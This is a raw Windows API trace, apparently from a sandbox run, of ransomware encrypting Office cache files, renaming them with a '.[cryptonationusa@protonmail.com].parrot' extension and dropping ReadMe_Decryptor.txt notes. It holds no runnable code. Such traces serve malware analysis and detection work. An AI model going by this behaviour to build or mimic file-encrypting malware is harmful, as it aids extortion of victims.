(HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x5f5b68 [0041.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f5270 | out: hHeap=0x540000) returned 1 [0041.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5e8810 [0041.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f5b68 | out: hHeap=0x540000) returned 1 [0041.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5ebd98 [0041.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e8810 | out: hHeap=0x540000) returned 1 [0041.065] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9280 [0041.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ebd98 | out: hHeap=0x540000) returned 1 [0041.065] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x5fce88 [0041.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9280 | out: hHeap=0x540000) returned 1 [0041.065] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x5fd118 [0041.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fce88 | out: hHeap=0x540000) returned 1 [0041.065] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x5fd1f8 [0041.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fd118 | out: hHeap=0x540000) returned 1 [0041.065] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x5f37e8 [0041.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fd1f8 | out: hHeap=0x540000) returned 1 [0041.065] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x5fd118 [0041.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f37e8 | out: hHeap=0x540000) returned 1 [0041.065] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5f37e8 [0041.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fd118 | out: hHeap=0x540000) returned 1 [0041.065] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f3c20 [0041.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f37e8 | out: hHeap=0x540000) returned 1 [0041.065] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5fb750 [0041.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f3c20 | out: hHeap=0x540000) returned 1 [0041.065] WriteFile (in: hFile=0x24c, lpBuffer=0x5fb750*, nNumberOfBytesToWrite=0x6c8, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x5fb750*, lpNumberOfBytesWritten=0x235f1e8*=0x6c8, lpOverlapped=0x0) returned 1 [0041.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fb750 | out: hHeap=0x540000) returned 1 [0041.065] UnlockFile (hFile=0x24c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6c2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0041.065] CloseHandle (hObject=0x24c) returned 1 [0041.066] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559ba0 [0041.066] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x106) returned 0x5fd118 [0041.066] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559ba0 | out: hHeap=0x540000) returned 1 [0041.066] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0041.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fd118 | out: hHeap=0x540000) returned 1 [0041.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcf90 | out: hHeap=0x540000) returned 1 [0041.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fd440 | out: hHeap=0x540000) returned 1 [0041.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5dcba0 [0041.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559ba0 [0041.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bcf8 [0041.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd08 [0041.068] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x235efdc, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x24c [0041.068] GetFileType (hFile=0x24c) returned 0x1 [0041.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5f37e8 [0041.079] lstrcmpW (lpString1="PptLR.cab", lpString2="ReadMe_Decryptor.txt") returned -1 [0041.079] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0041.253] GetFileSize (in: hFile=0x2f0, lpFileSizeHigh=0x235f264 | out: lpFileSizeHigh=0x235f264*=0x0) returned 0x431a290 [0041.253] LockFile (hFile=0x2f0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x431a3a8, nNumberOfBytesToLockHigh=0x0) returned 1 [0041.253] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0041.253] ReadFile (in: hFile=0x2f0, lpBuffer=0x235f244, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x235f244*, lpNumberOfBytesRead=0x235f1e8*=0x18, lpOverlapped=0x0) returned 1 [0041.256] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0041.256] ReadFile (in: hFile=0x2f0, lpBuffer=0x27c0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x27c0040*, lpNumberOfBytesRead=0x235f1e8*=0x100000, lpOverlapped=0x0) returned 1 [0041.265] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x605bc0 [0041.265] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x605bc0 | out: hHeap=0x540000) returned 1 [0041.265] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x604b00 [0041.265] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x606040 [0041.265] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x605328 [0041.265] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x608f00 [0041.265] GetLastError () returned 0x0 [0041.265] SetLastError (dwErrCode=0x0) [0041.266] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x605328 | out: hHeap=0x540000) returned 1 [0041.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e7920 [0041.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x606058 [0041.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x5f5690 [0041.266] GetLastError () returned 0x0 [0041.266] SetLastError (dwErrCode=0x0) [0041.266] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f5690 | out: hHeap=0x540000) returned 1 [0041.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x605328 [0041.266] GetLastError () returned 0x0 [0041.266] SetLastError (dwErrCode=0x0) [0041.266] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x605328 | out: hHeap=0x540000) returned 1 [0041.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x605328 [0041.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x606070 [0041.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x60a118 [0041.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x60b120 [0041.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x60c160 [0041.266] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x60b120 | out: hHeap=0x540000) returned 1 [0041.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x60e1a0 [0041.266] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x60c160 | out: hHeap=0x540000) returned 1 [0041.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x28ea010 [0041.297] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x60e1a0 | out: hHeap=0x540000) returned 1 [0041.297] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x28f2050 [0041.298] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ea010 | out: hHeap=0x540000) returned 1 [0041.298] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20033) returned 0x2902090 [0041.299] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28f2050 | out: hHeap=0x540000) returned 1 [0041.300] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40033) returned 0x29220d0 [0041.302] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2902090 | out: hHeap=0x540000) returned 1 [0041.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80033) returned 0x34b0020 [0041.308] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x29220d0 | out: hHeap=0x540000) returned 1 [0041.315] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100033) returned 0x3540020 [0041.332] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0041.332] WriteFile (in: hFile=0x2f0, lpBuffer=0x28ea010*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x28ea010*, lpNumberOfBytesWritten=0x235f1e8*=0x118, lpOverlapped=0x0) returned 1 [0041.332] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0041.332] WriteFile (in: hFile=0x2f0, lpBuffer=0x3540040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x3540040*, lpNumberOfBytesWritten=0x235f1e8*=0x100000, lpOverlapped=0x0) returned 1 [0041.335] UnlockFile (hFile=0x2f0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x431a3a8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0041.335] CloseHandle (hObject=0x2f0) returned 1 [0044.809] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0044.809] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1040 [0044.809] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0044.809] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0044.810] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1040 | out: hHeap=0x540000) returned 1 [0044.810] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ea010 | out: hHeap=0x540000) returned 1 [0044.810] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3540020 | out: hHeap=0x540000) returned 1 [0044.815] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x607370 [0044.815] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559d10 [0044.815] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0044.815] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0044.816] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x38) returned 0x5dace0 [0044.816] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x235efdc, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0044.817] GetFileType (hFile=0x2f0) returned 0x1 [0044.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0044.863] lstrcmpW (lpString1="Setup.xml", lpString2="ReadMe_Decryptor.txt") returned 1 [0044.863] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0044.864] GetFileSize (in: hFile=0x2f0, lpFileSizeHigh=0x235f264 | out: lpFileSizeHigh=0x235f264*=0x0) returned 0x75e [0044.864] LockFile (hFile=0x2f0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x876, nNumberOfBytesToLockHigh=0x0) returned 1 [0044.864] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0044.864] ReadFile (in: hFile=0x2f0, lpBuffer=0x235f244, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x235f244*, lpNumberOfBytesRead=0x235f1e8*=0x18, lpOverlapped=0x0) returned 1 [0044.866] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0044.866] ReadFile (in: hFile=0x2f0, lpBuffer=0x27c0040, nNumberOfBytesToRead=0x75e, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x27c0040*, lpNumberOfBytesRead=0x235f1e8*=0x75e, lpOverlapped=0x0) returned 1 [0044.866] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0044.867] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0044.867] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0044.867] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0044.867] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0044.867] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x5775c0 [0044.867] GetLastError () returned 0x0 [0044.867] SetLastError (dwErrCode=0x0) [0044.867] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.867] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0044.867] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0044.867] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0044.867] GetLastError () returned 0x0 [0044.867] SetLastError (dwErrCode=0x0) [0044.867] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0044.867] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0044.867] GetLastError () returned 0x0 [0044.867] SetLastError (dwErrCode=0x0) [0044.867] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.867] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0044.867] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0044.867] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5fc980 [0044.868] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x760) returned 0x5f0780 [0044.868] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x5f4c58 [0044.868] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xeb0) returned 0x28d7a10 [0044.868] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0044.868] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0044.868] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0044.868] GetLastError () returned 0x0 [0044.868] SetLastError (dwErrCode=0x0) [0044.868] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.868] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc980 | out: hHeap=0x540000) returned 1 [0044.869] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0044.869] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0044.869] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0044.869] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0044.869] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0044.869] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x579388 [0044.869] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0044.869] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579388 | out: hHeap=0x540000) returned 1 [0044.869] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0044.869] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0044.869] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0044.869] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0044.869] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0044.869] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0044.869] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0044.869] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0044.869] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0044.869] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0044.869] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c40 [0044.869] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0044.869] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c28 [0044.870] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0044.870] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0044.870] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0044.870] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0044.870] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0044.870] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0044.870] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0044.870] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0044.870] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.870] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9558 [0044.870] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0044.870] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608fb0 [0044.870] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9558 | out: hHeap=0x540000) returned 1 [0044.870] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0044.870] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0044.870] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0044.870] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0044.870] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x5ea7f8 [0044.870] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0044.870] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d5988 [0044.870] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0044.870] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0044.870] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0044.870] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x55ef10 [0044.870] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0044.870] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0044.870] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55ef10 | out: hHeap=0x540000) returned 1 [0044.870] WriteFile (in: hFile=0x2f0, lpBuffer=0x5edba0*, nNumberOfBytesToWrite=0x878, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x5edba0*, lpNumberOfBytesWritten=0x235f1e8*=0x878, lpOverlapped=0x0) returned 1 [0044.870] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0044.871] UnlockFile (hFile=0x2f0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x876, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0044.871] CloseHandle (hObject=0x2f0) returned 1 [0044.871] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0044.871] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1040 [0044.871] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0044.872] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0044.872] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1040 | out: hHeap=0x540000) returned 1 [0044.872] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0044.872] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0044.872] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x607370 [0044.872] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559d10 [0044.872] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0044.872] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0044.873] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x235efdc, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0044.873] GetFileType (hFile=0x2f0) returned 0x1 [0044.873] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0045.023] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x0, lpFindFileData=0x235f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f2a0) returned 0x5dad60 [0045.023] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, 